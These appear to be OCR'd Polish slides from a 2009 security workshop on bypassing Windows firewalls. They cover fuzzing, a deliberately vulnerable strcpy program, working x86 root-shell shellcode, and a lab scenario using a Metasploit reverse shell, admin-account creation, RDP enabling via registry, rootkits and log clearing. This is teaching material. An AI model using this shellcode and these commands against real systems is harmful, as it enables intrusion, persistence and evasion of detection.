You are on page 1of 93

Omijanie firewalli w systemach Windows

--- warsztaty ---

Mateusz Drygas,
Drygas, Marcin Jerzak,
Jerzak,
Jakub Tomaszewski,
Tomaszewski,
1
Zespół
Zesp ół Bezpieczeń
Bezpieczeństwa PCSS Poznań
Pozna ń, 18.06
18.06.2009
.2009
Agenda
10:00 – Rozpoczęcie, powitanie uczestników, informacje organizacyjne
10:05 – Poznajmy się: czym jest PCSS , Zespół Bezpieczeństwa PCSS i MIC?
10:05 – Trochę informacji technicznych
10:15 – Łamanie zabezpieczeń w praktyce
11:30 – Przerwa
11:45 – Lokalnie i zdalnie...
12:00 – Firewalle - ćwiczenia w formie scenariusza
13:30 – Na zakończenie – garść przydatnej wiedzy i dyskusja

2
Informacje organizacyjne
Ankieta
Krótka i anonimowa
Pomoc na przyszłość
Lista obecności
Proszę zaznaczyć, czy chcecie Państwo otrzymywać
informacje o kolejnych szkoleniach
Prezentacja – dostępna na stronach WWW
http://mic.psnc.pl
http://szkolenia.man.poznan.pl
http://security.psnc.pl
3
Kim jesteśmy i co robimy?

4
PCSS
Poznańskie Centrum
Superkomputerowo--Sieciowe:
Superkomputerowo
15 lat w październiku 2008
Operator sieci PIONIER (sieć
dla edukacji i nauki) oraz
POZMAN
Uczestnik projektów naukowo-
naukowo-
badawczych
Główne obszary
zainteresowań
Gridy,, sieci nowej
Gridy
generacji, portale
Bezpieczeństwo sieci i
systemów
http://www.pcss.pl 5
Zespół Bezpieczeństwa PCSS
Dedykowany zespół istnieje od 1996r.
Podstawowy zakres prac Zespołu
Zabezpieczanie infrastruktury PCSS
Zadania bezpieczeństwa w projektach naukowo – badawczych
Szkolenia i transfer wiedzy
Badania własne
Audyty i doradztwo w zakresie bezpieczeństwa IT

Niektóre badania z ostatnich lat


Raport o bezpieczeństwie bankowości elektronicznej (2006
(2006))
Bezpieczeństwo serwerów WWW Apache i MS IIS (2007
(2007))
Bezpieczeństwo sklepów internetowych (2008
(2008))

http://security.psnc.pl 6
Centrum Innowacji Microsoft
Pierwsze w Polsce MIC
Centrum Bezpieczeństwa i
usług outsourcingowych

Partnerzy
Microsoft Corporation
Poznańskie Centrum
Superkomputerowo--Sieciowe
Superkomputerowo
Politechnika Poznańska

Otwarcie: 1.06.2006r.
http://mic.psnc.pl
7
Wybrane zadania MIC w 2009
Nowe obszary badań (od I 2009):
Interoperacyjność systemów i technologii
Wirtualizacja systemów
Wysokowydajne przetwarzanie komputerowe (HPC) –
m.in. udział w programie HPC TAP
Doroczna Konferencja MIC - 16 kwietnia 2009, 3. edycja

8
Szkolenia MIC – I półrocze 2009
Interoperacyjność
27.05: Zastosowanie technologii Silverlight
Silverlight...
...
10.06: Windows Server 2008 jako uniwersalna platforma zapewniająca
usługi wirtualizacji i klastrowania
23.06: Bezpieczeństwo heterogenicznej platformy hostingowej (są
jeszcze ostatnie wolne miejsca)
Bezpieczeństwo
18.06: Omijanie firewalli w systemach Windows – warsztaty BYOL dla
specjalistów bezpieczeństwa

9
Szkolenia MIC – II półrocze 2009
Interoperacyjność
Windows HPC Server
Exchange Labs jako uniwersalna platforma ee--mail
Bezpieczeństwo
Bezpieczeństwo aplikacji ASP.NET MVC
Bezpieczeństwo kontrolera domeny
Szkolenia w Warszawie: IX/X 2009 (powtórzenie
cyklu „Interoperacyjność
„Interoperacyjność”)
”)
Zachęcamy do zgłaszania w ankietach propozycji
tematów na kolejne spotkania!

10
Informacje techniczne (1
(1)

System
Linux Live + changes
User: root / Passwd: toor
Wifi - „pcss-warsztaty”
wpa_passphrase pcss-warsztaty warsztaty-firewalle > wpa.conf
wpa_supplicant -i<interface wifi> -cwpa.conf

11
Informacje techniczne (2)

Adresacja
Brama → 192.168.1.1
DNS → 192.168.1.1
Serwer do ćwiczeń → 192.168.1.7
Adres kliencki: 192.168.1.1XX
ifconfig <interface wifi> 192.168.1.1XX netmask 255.255.255.0
ip route add default via 192.168.1.1

12
Architektura środowiska

System Centralny

XP_V1 XP_V2 XP_V3 XP_Vn


...

Wifi

L1 L2 L3 Ln
...

13
Łamanie zabezpieczeń w praktyce

Wyszukiwanie podatności
Eksploitacja błędów
Shellcoding
Wyszukiwanie podatności

15
Ręczne wyszukiwanie błędów
Wartości niezgodne ze specyfikacją
poza zakresem
inne dane niż oczekiwane (float/string)
znaki specjalne
losowe
Automatyczne szukanie luk
Fuzzer
Stosunkowo łatwo napisać prosty fuzzer

Fuzzing – bardziej złożony


rozbudowane dane wejściowe (np. jpeg)
obsługa debuggera
analiza wyników i dostosowywanie testowanych
danych
Rodzaje fuzzerów
Mutacyjne

Generacyjne

Ewolucyjne
Wady fuzzingu

Nie znajduje błędów logicznych

Nieokreślony czas znalezienia podatności

Wraz ze wzrostem skomplikowania programu postępuje


wzrost złożoności fuzzer'a
Jak napisać prosty „fuzzer” (1)
Analiza programu:
na jakich danych operuje?
skąd je bierze?
Modyfikacja danych wejściowych
różne znaki w parametrach
różne długości parametrów
modyfikacja przetwarzanych plików
modyfikacje paczek sieciowych
Najlepsze wyniki osiągamy, gdy mamy dostęp do maszyny, na
której znajduje się testowana aplikacja…
… i jeżeli testujemy program w debugerze (OlyDBG, gdb), który
pomoże w analizie błędu
Jak napisać prosty „fuzzer” (2)
Po ustaleniu, co można „zaatakować”, czasem wystarczy...
krótki skrypt w bash'u:

#!/bin/bash
#very simple fuzz
x=1
C='i'
licz=1
while [ $x -le 10 ]; do
a=`./hello $C`
wyn=$?
if [ $wyn = 139 ]
then
echo "SEGV dla ilosci:"$licz
exit
fi
C=$C'i'
licz=$((licz+1))
done
Przykładowe znane fuzzery - Linux
clfuzz.py – napisany w Pythonie fuzzer oparty o linię komend. Bardzo
przydatny do testowania binariów setuid na błędy przepełnienia w
linii komend
zzuf – działa w oparciu o mechanizm przechwytywania przerwań
operacji plikowych i podmiany losowych bitów
SPIKE – to napisany w C kod, który jest bazą do tworzenia fuzzerów.
Prawdopodobnie najszerzej wykorzystywany framework tego typu
Peach – SmartFuzzer zdolny wykorzystywać zalety fuzzerów
generacyjnych i mutacyjnych
Przykładowe znane fuzzery - Windows
AxMan – webowy fuzzer oparty o mechanizmy ActiveX, napisany
przez H.D. Moore’a.

Peach – SmartFuzzer, zdolny wykorzystywać zalety fuzzerów


generacyjnych I mutacyjnych
Bardziej złożone fuzzery
W Pythonie dla Linux'a:
http://192.168.1.7/fuzzing/fuzz.py

W C++ dla Windowsa:


http://192.168.1.7/fuzzing/fuzz_c.cpp
Ciekawostka
Mozilla udostępnila w 2007r JSfuzzer, którym testowała Firefoksa.
Dzięki temu znaleziono za jego pomocą 280 błędów, z czego 27
można było wyeksploitować

http://www.cgisecurity.com/2007/08/mozilla-releases-javascript-
fuzzer-at-blackhat-.html
Exploitation

0x41414141

26
Pierwszy kod
#include <unistd.h>
char arg[] =
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAA";
int main(int argc, char **argv)
{
execl("./crackme", "./crackme", arg, NULL);
return 0;
}
Stos
Last In First Out
„Rośnie w dół”
Wątki posiadają odrębne stosy
Operacje PUSH i POP
Rejestry i adresy
ESP – wskaźnik szczytu stosu,
EIP – wskaźnik instrukcji,
EBP – rejestr bazowy,

EBP + 4 = RET

RET – adres powrotu,


0x41414141
(gdb) f 3
#3 0x41414141 in ?? ()
(gdb) i reg
eax 0x0 0
ecx 0xffffffff -1
edx 0x280e8c4c 672042060
ebx 0x3 3
esp 0xbfbfec48 0xbfbfec48
ebp 0x42424242 0x42424242
esi 0xbfbff7ac -1077938260
edi 0xbfbff7bc -1077938244
eip 0x41414141 0x41414141
eflags 0x286 646
cs 0x1f 31
ss 0x2f 47
ds 0x2f 47
es 0x2f 47
fs 0x2f 47
gs 0x2f 47
Rejestry
General Purpose
EAX, EBX, ECX
Segment Pointers
CS, DS
Control
EIP
RET - adres powrotu
Gdzie jest nasz shellcode?
export shellcode $(perl -e 'print “A”x100)
Gdzie jest stos?
echo 0 > /proc/sys/kernel/randomize_va_space
Jak trafić?
x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x
90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90
Podatny kod
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *string)


{
char buffer[1024];
strcpy(buffer, string);
return 1;
}

int main(int argc, char *argv[])


{
bof(argv[1]);
return 1;
}
Ochrona pamięci
Stack cookies
Address Space Layout Randomization
SafeSEH
Heap Protection
Data Execution Prevention
Separacja w Windows
User mode – ring 3

Kernel mode – ring 0


Stałe błędy programistyczne (1)
Stack Overflow
np. nadpisujemy adres powrotu adresem, który znajduje się w ring 3
Stałe błędy programistyczne (2)
Niedostateczna walidacja adresów pochodzących z user-mode
np. nadpisujemy wskaźnik do danej funkcji ring 0 adresem
wskazującym na ring 3
Stałe błędy programistyczne (3)
Non-executable stack DEP
Return to libc – przekierowanie sterowania do funkcji, a na stosie
znajdują się parametry
system() - uruchamia proces
Shellcoding

39
Definicja
kod maszynowy możliwy do wykonania bezpośrednio przez
procesor, wykonujący zawsze DOKŁADNIE to, co chcemy

brak statycznych odwołań


Pomijamy, jeśli tylko się da, znak -> NULL
xor X X

http://192.168.1.7/shellcoding/
Narzędzia
 gcc - kompilator,
 as - assembler,
 ld - linker,
 gdb - debuger,
 objdump (-x, -d, -D) –> disassembler+
 strace
 vi i inne
Wrapper kodu assemblera (test.c)
char shellcode[] = ""; //nasz shellcode w tablicy globalnej
int main (int argc, char **argv)
{
int (*ret)(); //wskaznik funkcji
ret = (int(*)())shellcode; //wskazujemy nasz shellcode

(int)(*ret)(); //wywolanie jak funkcji


return 0;
}
Budowanie shellcode'u
krok po kroku
1. Co ma robić shellcode?
2. Definicja funkcji przez niego używanych,
3. Wywołania systemowe potrzebnych funkcji,
4. Budowa kodu assemblera,
5. Kompilacja do „binarki”,
6. Deassemblacja,
7. Budowanie shellcodu,
8. Test.
Przyklad (1) – exit(0)
Funkcja exit()

Definicja -> man 2 exit


http://www.cl.cam.ac.uk/cgi-bin/manpage?2+exit

void _exit(int status);


Przyklad (1) – exit(0)
syscall

grep __NR_exit /usr/include/asm/unistd_32.h


#define __NR_exit 1

grep __NR_exit /usr/include/asm/unistd.h


grep __NR_exit /usr/include/asm/unistd_64.h
Przyklad (1) – exit(0)
As exit.s -o exit.o
ld exit.o -o exit
./exit
echo $?
objdump -d exit

shellcode:
“\x31\xc0\xb0\x01\x31\xdb\xcd\x80”

kilka testów (test_exit.c)


Przyklad (2) – “Hello World”
Funkcje exit() i write()

Definicja -> man 2 exit


http://www.cl.cam.ac.uk/cgi-bin/manpage?2+exit
void _exit(int status);

Definicja -> man 2 write


http://www.cl.cam.ac.uk/cgi-bin/manpage?2+write
ssize_t write(int fd, const void *buf, size_t count);
Przyklad (2) – “Hello World”
syscall

grep __NR_exit /usr/include/asm/unistd_32.h


#define __NR_exit 1

grep __NR_write /usr/include/asm/unistd_32.h


#define __NR_write 4
Przyklad (2) – “Hello World”
Własności i ich konsekwencje – brak NULL i statycznych odwołań

call

call wrzuca następującą po niej wartość (standardowo – adres


powrotu) na stos i przenosi kontrolę do miejsca, ktore jest jej
parametrem.
Przyklad (2) – “Hello World”
as hello.s -o hello.o | ld hello.o -o hello
./hello | objdump -d hello

shellcode:
"\xeb\x19\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04"\
"\xb2\x0e\x59\xb3\x01\xcd\x80\x31\xc0\xb0\x01\x31"\
"\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x48\x65\x6c\x6c"\
"\x6f\x2c\x20\x57\x6f\x72\x6c\x64\x21\x0a"

test (test_hello.c)
Przyklad (2) – “Hello World”
Uwaga:

H e l l o , W o r l d ! \n
48 65 6c 6c 6f 2c 20 57 6f 72 6c 64 21 0a

czyli:
“\x48\x65\x6c\x6c\x6f\x2c\x20\x57\x6f\x72\x6c\x64\x21\x0a”
Przyklad (3) – /bin/sh + root
Funkcje setreuid() i execve()

Definicja -> man 2 setreuid


http://www.cl.cam.ac.uk/cgi-bin/manpage?2+setreuid
int setreuid(uid_t ruid, uid_t euid);

Definicja -> man 2 execve


http://www.cl.cam.ac.uk/cgi-bin/manpage?2+execve
int execve(const char *filename, char *const argv[], char *const envp[]);
Przyklad (3) – /bin/sh + root
syscall

grep __NR_setreuid /usr/include/asm/unistd_32.h


#define __NR_setreuid 70

grep __NR_execve /usr/include/asm/unistd_32.h


#define __NR_execve 11
Przyklad (3) – /bin/sh + root
execve("/bin/sh", *"/bin/sh", (char **)NULL);

execve("/bin/sh", - ciąg do wywołania (bez NULLi!)


*"/bin/sh", - adres tego ciągu
(char **)NULL) - NULL-owy wskaźnik do przyległej pamięci (parametry wywołania
/bin/sh)

ciąg w pamięci wygląda tak: /bin/shNXXXXYYYY


gdzie N ma wartość dokładnie \0 (koniec ciągu), czyli dla nas zakazaną – nie możemy mu
nadać wartości NULL, ale możemy go XOR-ować
XXXX (4 bajty) to adres adresu naszego ciągu
YYYY (4 bajty) to adres wskaźnika envp[] (aktualnie call *NULL)
Przyklad (3) – /bin/sh + root
As shell.s -o shell.o
ld shell.o -o shell
./shell
(?)

shellcode:
(?)
Przyklad (3) – /bin/sh + root

Segmentation fault !!!

Dlaczego??
Przyklad (3) – /bin/sh + root
as -g shell.s -o shell.o
(przydaje się, ale nie jest konieczne)
ld shell.o -o shell
objdump -x shell

.text ma atrybut readonly :/


ale .data :D
Przyklad (3) – /bin/sh + root
as shell_new.s -o shell_new.o
ld shell_new.o -o shell_new
./shell_new | objdump -d shell_new

"\x31\xc0\xb0\x46\x31\xc9\x31\xdb\xcd\x80\xeb\x18\x5b"\
"\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x31\xc0"\
"\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe3\xff"\
"\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"

test (test_shell_new.c)
Co dalej?
minimalizacja długości

shellcody bez konkretnych znaków

shellcody tylko ze znaków drukowalnych


Przerwa

60
Lokalnie i zdalnie...
Szukanie błędów
Większy problem ze zdefiniowaniem faktu błędu

Niejednoznacze odpowiedzi od serwera

Utrudnione debugowanie
Exploitowanie
Znaczące problemy z uzyskaniem danych o procesach (rejestrach)
oraz stanie usługi

Brak znajomości środowiska docelowego


Shellcoding
Wymagana jest dokładna znajomość systemu zdalnego

Przy założeniu dokładnie tych samych funkcjonalności shellcodu –


złożoność problemu jest w przybliżeniu identyczna
Firewalle - ćwiczenia w formie
scenariusza
Wprowadzenie
Wiedza początkowa agresora:
Cel znajduje się pod adresem 192.168.1.7,
Cel wykorzystuje system Windows,
Cel jest chroniony przez co najmniej jeden firewall
Rozpoznanie maszyny

Skan adresu 192.168.1.7


Podpowiedź (!)

Poszukiwany otwarty port: 133XX


Rozpoznanie reakcji na porcie

Skanowanie
Próby połączeń
Testy reakcji na pakiety
Fuzzing na rozpoznany port

Zadanie:
Napisać (odszukać, przystosować) fuzzera
i zaatakować port
Podpowiedź (!)

http://172.168.1.7/fuzzing/fuzz_lan.py
Reakcja usługi na danym procie

Analiza wykonanych czynności i reakcji


serwera
Ponowne rozpoznanie portów

Skanowanie
Podpowiedź (!)

Poszukiwany otwarty port: 144XX


Ponowne rozpoznanie usługi

rozpoznanie

atak

explitowanie przez znane luki


Podpowiedź (!)

Metasploit

BadBlue

windows/shell/reverse_tcp
Dalsze działanie (1)

Dodanie konta z prawami administratora


Podpowiedź (!)

net user janek janka /add

net localgroup

net localgroup Administratorzy janek /add


Dalsze działanie (2)

Otwieramy dostęp przy pomocy:


Windows XP Remote Desktop
Podpowiedź (!)
Weryfikacja ustawień:
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server"
/v fDenyTSConnections

Zmiana ustawień:
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
/t REG_DWORD /d 0x0
Dalsze działania + czyszczenie (1)
Komunikat firewalla – usunięcie (?)

Umieszczenie programu typu rootkit

Ponowne uruchomienie usługi firewalla (Kerio


Personall Firewall)
Dalsze działania + czyszczenie (2)
Czyszczenie logów systemowych

Usunięcie dodanego konta

Wyłączenie Remote Desktop


Założenie (!)

Atak przeprowadzamy z sieci lokalnej,


ale Internet jest udostępniony przez inny interfejs,
na którym dostępny dla TCP
jest jedynie port docelowy 80-ty
(dodatkowy system firewall
dla styku sieci lokalnej i Internetu)
Rootkit -> Podpowiedź (!)

WinAPI
DllInjection

lub

IP over DNS
Schemat „wyjścia” rootkita

Proces aplikacji - hosta


FW

Wątek podczepiany
Na zakończenie

garść przydatnej wiedzy i dyskusja


Shellcody, rootkity, exploity
gdzie ich szukać?

INTERNET!!!!

...czego dowodzą dzisiejsze warsztaty!


Ciekawostka – analiza exploita
Kerio Personal Firewall v2.1.4
remote code execution exploit

http://192.168.1.7/exploit/kpf214.txt
Analiza DllInjection – schemat (1)

NIE

Znaleziono TAK
Start Wstrzyknij kod
hosta?

http://192.168.1.7/winapi/kod.tar.gz
Zabezpieczenia !?
Aktualizacja, aktualizacja, aktualizacja (!)

Godny polecenia producent oprogramowania

Dbanie o „czystość” własnego systemu

Świadome użytkowanie komputera


Dlaczego nacisk na atak,
a nie na obronę?

???
Dyskusja!
91
Informacje kontaktowe
Autorzy prezentacji
bluerose@man.poznan.pl
whlyy@man.poznan.pl
whl
mateusz
ateusz@
@man.poznan.pl
Centrum Innowacji Microsoft
http://mic.psnc.pl
http ://mic.psnc.pl
mic@man.poznan.pl
PCSS
http://www.pcss.pl
Zespół Bezpieczeństwa PCSS
http://security.psnc.pl
http ://security.psnc.pl
security@man.poznan.pl
92
Pytania i dyskusja, propozycje?

Dziękujemy za uwagę!
93

You might also like